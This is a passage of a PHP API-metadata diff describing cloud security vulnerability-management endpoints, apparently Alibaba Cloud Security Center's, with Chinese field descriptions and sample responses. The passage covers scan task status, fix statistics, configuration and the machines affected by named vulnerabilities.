'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'CveId', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的cve编号。', + 'type' => 'string', + 'required' => false, + 'example' => 'CVE-2022-44702', + ], + ], + [ + 'name' => 'VulNameLike', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'required' => false, + 'example' => '远程代码执行漏洞', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'VulType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- cve：Linux漏洞'."\n" + .'- sys：Windows漏洞'."\n" + .'- app：应用漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + [ + 'name' => 'RaspDefend', + 'in' => 'query', + 'schema' => [ + 'description' => '支持RASP实时防护，取值：'."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回结构。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'title' => 'TotalCount本次请求条件下的数据总量，此参数为可选参数，默认可不返回', + 'description' => '总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '结果的请求id。', + 'type' => 'string', + 'example' => '4347E985-6E64-467B-96EC-30D4EA9E32FB', + ], + 'Data' => [ + 'title' => '返回参数', + 'description' => '返回参数。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞信息。', + 'type' => 'object', + 'properties' => [ + 'ReleaseTime' => [ + 'title' => '发布时间', + 'description' => '发布时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2022-12-13T08:00Z', + ], + 'OtherId' => [ + 'title' => '编号', + 'description' => '编号。', + 'type' => 'string', + 'example' => 'AVD-2018-8218', + ], + 'IsSas' => [ + 'title' => '是否网络扫描', + 'description' => '是否poc验证。可取值：'."\n" + ."\n" + .'- 1 是'."\n" + .'- 0 不是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CveId' => [ + 'title' => 'cveId', + 'description' => 'Cve编号。', + 'type' => 'string', + 'example' => 'CVE-2022-42836', + ], + 'Id' => [ + 'title' => 'id', + 'description' => '数据库主键id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '40586', + ], + 'IsAegis' => [ + 'title' => '是否安骑士扫描', + 'description' => '是否版本比对。可取值：'."\n" + ."\n" + .'- 1 是'."\n" + .'- 0 不是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Title' => [ + 'title' => '漏洞标题', + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'Windows 终端远程代码执行漏洞', + ], + 'ExtAegis' => [ + 'title' => '安骑士拓展字段', + 'description' => '安骑士拓展字段。', + 'type' => 'string', + 'example' => '{\\"relatedType\\":[{\\"type\\":\\"sys\\"}]}', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"4347E985-6E64-467B-96EC-30D4EA9E32FB\\",\\n \\"Data\\": [\\n {\\n \\"ReleaseTime\\": 0,\\n \\"OtherId\\": \\"AVD-2018-8218\\",\\n \\"IsSas\\": 0,\\n \\"CveId\\": \\"CVE-2022-42836\\",\\n \\"Id\\": 40586,\\n \\"IsAegis\\": 1,\\n \\"Title\\": \\"Windows 终端远程代码执行漏洞\\",\\n \\"ExtAegis\\": \\"{\\\\\\\\\\\\\\"relatedType\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"sys\\\\\\\\\\\\\\"}]}\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询支持检测的漏洞列表', + ], + 'DescribeVulCheckTaskStatusDetail' => [ + 'summary' => '查询指定机器漏洞扫描任务状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TaskIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '机器对应的任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'ad8afca3914a5fff4636e67f18e259c7', + ], + 'required' => false, + 'docRequired' => true, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Types', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '一键扫描对应的漏洞类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞类型。可设置以下取值：'."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **sca**：sca漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'sca', + ], + 'required' => false, + 'docRequired' => true, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'docRequired' => true, + 'example' => '5d55af3c-35f3-4d4d-8ccc-8c5443b0****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '机器对应的漏洞子任务总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '结果的请求id。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'TaskStatuses' => [ + 'description' => '机器的漏洞任务状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞主任务状态结构体。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '主任务id。', + 'type' => 'string', + 'example' => '16190385', + ], + 'TaskStatusList' => [ + 'description' => '漏洞检测任务状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞子任务状态结构体。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '漏洞类型。取值：'."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **sca**：sca漏洞', + 'type' => 'string', + 'example' => 'cve', + ], + 'Status' => [ + 'description' => '检查完成的状态。取值：'."\n" + ."\n" + .'- **0**：未处理'."\n" + .'- **1**：采集中'."\n" + .'- **2**：采集完成'."\n" + .'- **3**：匹配中'."\n" + .'- **4**：已完成', + 'type' => 'string', + 'example' => '4', + ], + 'Code' => [ + 'description' => '失败code。', + 'type' => 'string', + 'example' => 'push_command_failed', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 1,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"TaskStatuses\\": [\\n {\\n \\"TaskId\\": \\"16190385\\",\\n \\"TaskStatusList\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"Status\\": \\"4\\",\\n \\"Code\\": \\"push_command_failed\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询机器漏洞扫描任务状态', + ], + 'DescribeTaskErrorLog' => [ + 'summary' => '查询镜像修复任务失败的错误日志。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'BuildTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像修复任务的ID。'."\n" + ."\n" + .'> 通过调用[DescribeImageFixTask](~~DescribeImageFixTask~~)接口查询镜像漏洞修复任务获取BuildTaskId。', + 'type' => 'string', + 'required' => true, + 'example' => 'ivf-6e520160-205d-4801-b8e9-9e7e****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '请求id。', + 'type' => 'string', + 'example' => 'F929E952-EBFC-56C3-BD35-BF8B59024C69', + ], + 'Logs' => [ + 'description' => '错误日志的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '日志。', + 'type' => 'object', + 'properties' => [ + 'Text' => [ + 'description' => '日志的文本内容。', + 'type' => 'string', + 'example' => 'mv: cannot move \'CentOS-Base.repo\' to \'CentOS-Base.repo.backup\': Permission denied', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F929E952-EBFC-56C3-BD35-BF8B59024C69\\",\\n \\"Logs\\": [\\n {\\n \\"Text\\": \\"mv: cannot move \'CentOS-Base.repo\' to \'CentOS-Base.repo.backup\': Permission denied\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询镜像修复任务失败日志', + ], + 'DescribeTarget' => [ + 'summary' => '查询开启漏洞扫描的机器列表设置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '查询类型，此处固定为vul。', + 'type' => 'string', + 'required' => false, + 'example' => 'vul', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞类型。取值为：'."\n" + ."\n" + .'- **cms** Web-CMS漏洞'."\n" + .'- **sys** Windows系统漏洞'."\n" + .'- **cve** Linux软件漏洞'."\n" + .'- **emg** 应急漏洞', + 'type' => 'string', + 'required' => false, + 'example' => '{"vulType":"cms"}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的机器配置信息总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', + ], + 'Targets' => [ + 'description' => '漏洞类型对应的机器设置。', + 'type' => 'array', + 'items' => [ + 'description' => '目标对象。', + 'type' => 'object', + 'properties' => [ + 'Flag' => [ + 'description' => '标记，可为空。', + 'type' => 'string', + 'example' => 'del', + ], + 'Target' => [ + 'description' => '目标，机器uuid或机器分组id。', + 'type' => 'string', + 'example' => '5c5f0169-3527-40a2-b5ff-0bc1db8f****', + ], + 'TargetType' => [ + 'description' => '目标类型。取值为：'."\n" + ."\n" + .'- **uuid**：按单个资产添加'."\n" + .'- **groupId**：按照服务器分组添加', + 'type' => 'string', + 'example' => 'uuid', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 10,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"Targets\\": [\\n {\\n \\"Flag\\": \\"del\\",\\n \\"Target\\": \\"5c5f0169-3527-40a2-b5ff-0bc1db8f****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询漏洞的机器列表', + ], + 'DescribeMachineCanReboot' => [ + 'summary' => '漏洞修复需要重启生效时判断机器当前是否能够重启。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '需要重启修复的漏洞类型。取值：'."\n" + .'- cve linux系统漏洞'."\n" + .'- sys windows系统漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'sys', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要重启的机器uuid。', + 'type' => 'string', + 'required' => false, + 'example' => '5b268326-273e-44fc-a0e3-9482435c****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CanReboot' => [ + 'description' => '当前是否能够重启。取值：'."\n" + ."\n" + .'- **true** 可以重启'."\n" + .'- **false** 不能重启', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CanReboot\\": true,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\"\\n}","type":"json"}]', + 'title' => '查询机器是否可以重启', + ], + 'DescribeEmgUserAgreement' => [ + 'summary' => '查询应急漏洞用户授权协议。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Auth' => [ + 'description' => '应急漏洞扫描是否授权。取值：'."\n" + ."\n" + .'- **true**：已获得授权'."\n" + .'- **false**：未获得授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '768BB9F5-8AF3-557F-A489-9BDD64CB3E4C', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Auth\\": true,\\n \\"RequestId\\": \\"768BB9F5-8AF3-557F-A489-9BDD64CB3E4C\\"\\n}","type":"json"}]', + 'title' => '查询应急漏洞用户协议', + ], + 'DescribeClusterVulStatistics' => [ + 'summary' => '查询集群漏洞统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c471f0f61b9c04f8380556e922cf1****', + ], + ], + [ + 'name' => 'Types', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：linux软件漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **sca**：软件成分分析漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve,app,sca', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'VulStat' => [ + 'description' => '漏洞统计信息。', + 'type' => 'object', + 'properties' => [ + 'AsapCount' => [ + 'description' => '高危漏洞数量，即紧急程度为高的漏洞数量。', + 'type' => 'string', + 'example' => '13', + ], + 'LaterCount' => [ + 'description' => '中危漏洞数量，即紧急程度为中的漏洞数量。', + 'type' => 'string', + 'example' => '21', + ], + 'NntfCount' => [ + 'description' => '低危漏洞数量，即紧急程度为低的漏洞数量。', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"VulStat\\": {\\n \\"AsapCount\\": \\"13\\",\\n \\"LaterCount\\": \\"21\\",\\n \\"NntfCount\\": \\"0\\"\\n }\\n}","type":"json"}]', + 'title' => '查询集群漏洞统计', + ], + 'DescribeAppVulScanCycle' => [ + 'summary' => '查询应用漏洞扫描周期。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Cycle' => [ + 'description' => '应用漏洞扫描周期。'."\n" + ."\n" + .'- 1week'."\n" + .'- 2weeks'."\n" + .'- 3days', + 'type' => 'string', + 'example' => '1week', + ], + 'RequestId' => [ + 'description' => '本次访问请求的ID。', + 'type' => 'string', + 'example' => '934E6D2A-0123-5A99-88BA-80DC27634E22', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Cycle\\": \\"1week\\",\\n \\"RequestId\\": \\"934E6D2A-0123-5A99-88BA-80DC27634E22\\"\\n}","type":"json"}]', + 'title' => '查询应用漏洞扫描周期', + ], + 'DescribeVulConfig' => [ + 'summary' => '查询漏洞管理配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。', + 'type' => 'string', + 'required' => false, + 'example' => '113.110.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞管理配置类型，默认查询所有类型的配置。取值：'."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **app**：应用漏洞（web扫描器）'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **scanMode**：显示真实风险漏洞'."\n" + .'- **imageVulClean**：漏洞保留时长'."\n" + .'- **yum**：优先使用阿里云源进行漏洞修复', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '漏洞管理配置信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '配置数据总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'TargetConfigs' => [ + 'description' => '漏洞管理配置列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞管理配置。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '漏洞管理配置类型。取值：'."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **app**：应用漏洞（web扫描器）'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **scanMode**：显示真实风险漏洞'."\n" + .'- **imageVulClean**：漏洞保留时长'."\n" + .'- **yum**：优先使用阿里云源进行漏洞修复', + 'type' => 'string', + 'example' => 'cve', + ], + 'OverAllConfig' => [ + 'description' => '全局开关。取值：'."\n" + ."\n" + .'- **off**：关闭'."\n" + .'- **on**：开启', + 'type' => 'string', + 'example' => 'on', + ], + 'Config' => [ + 'description' => '漏洞扫描配置。'."\n" + ."\n" + .'> 当type为**cve**、**sys**、**cms**、**app**、**emg**、**yum**时，取值如下：'."\n" + .'> - **on**：开启'."\n" + .'> - **off**：关闭'."\n" + .'> '."\n" + .'> 当type为**scanMode**时，取值如下：'."\n" + .'> - **real**：显示真实风险漏洞'."\n" + .'> - **all**：所有漏洞'."\n" + .'>'."\n" + .'> 当type为**imageVulClean**时，该值表示漏洞保留时长（天）', + 'type' => 'string', + 'example' => '90', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 10,\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"TargetConfigs\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"OverAllConfig\\": \\"on\\",\\n \\"Config\\": \\"90\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询漏洞管理配置', + ], + 'DescribeVulFixStatistics' => [ + 'summary' => '获取漏洞修复统计数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'FixTotal' => [ + 'description' => '全量修复统计信息。', + 'type' => 'object', + 'properties' => [ + 'FixingNum' => [ + 'description' => '修复中的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'FixedTodayNum' => [ + 'description' => '今天已修复的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'FixedTotalNum' => [ + 'description' => '已完成修复的漏洞总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '47', + ], + 'NeedFixNum' => [ + 'description' => '待修复漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '62', + ], + ], + ], + 'FixStat' => [ + 'description' => '漏洞修复统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞修复统计信息。', + 'type' => 'object', + 'properties' => [ + 'FixingNum' => [ + 'description' => '修复中的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '17', + ], + 'Type' => [ + 'description' => '漏洞类型。取值：'."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **emg**：应急漏洞'."\n", + 'type' => 'string', + 'example' => 'cve', + ], + 'FixedTodayNum' => [ + 'description' => '今天已修复的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'FixedTotalNum' => [ + 'description' => '已完成修复的漏洞总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'NeedFixNum' => [ + 'description' => '需紧急修复的漏洞（CVE）数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"FixTotal\\": {\\n \\"FixingNum\\": 22,\\n \\"FixedTodayNum\\": 15,\\n \\"FixedTotalNum\\": 47,\\n \\"NeedFixNum\\": 62\\n },\\n \\"FixStat\\": [\\n {\\n \\"FixingNum\\": 17,\\n \\"Type\\": \\"cve\\",\\n \\"FixedTodayNum\\": 10,\\n \\"FixedTotalNum\\": 22,\\n \\"NeedFixNum\\": 8\\n }\\n ]\\n}","type":"json"}]', + 'title' => '漏洞修复统计', + ], + 'DescribeUuidsByVulNames' => [ + 'summary' => '根据漏洞名称获取支持修复的机器列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92234', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的修复状态。多个修复状态使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **1**：未修复'."\n" + .'- **2**：修复失败', + 'type' => 'string', + 'required' => false, + 'example' => '1,2', + ], + ], + [ + 'name' => 'Tag', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞标签。', + 'type' => 'string', + 'required' => false, + 'example' => 'oval', + ], + ], + [ + 'name' => 'Level', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞等级。多个漏洞等级使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high,low', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞是否处理。取值：'."\n" + .'- **y**：已处理'."\n" + .'- **n**：未处理', + 'type' => 'string', + 'required' => false, + 'example' => 'n', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '11286014', + ], + ], + [ + 'name' => 'VpcInstanceIds', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的VPC实例ID。多个ID使用半角逗号（,）分隔。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'vpc-uf6ssrvbrwe37ekw****,vpc-bp1aevy8sofi8mh1q****', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的资产信息，可以设置为资产名称、公网IP或私网IP（支持模糊查询）。', + 'type' => 'string', + 'required' => false, + 'example' => '10.7.', + ], + ], + [ + 'name' => 'SearchTags', + 'in' => 'query', + 'schema' => [ + 'description' => '查询漏洞的tag标签。', + 'type' => 'string', + 'required' => false, + 'example' => 'oval', + ], + ], + [ + 'name' => 'FieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索字段名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'namespace', + ], + ], + [ + 'name' => 'FieldValue', + 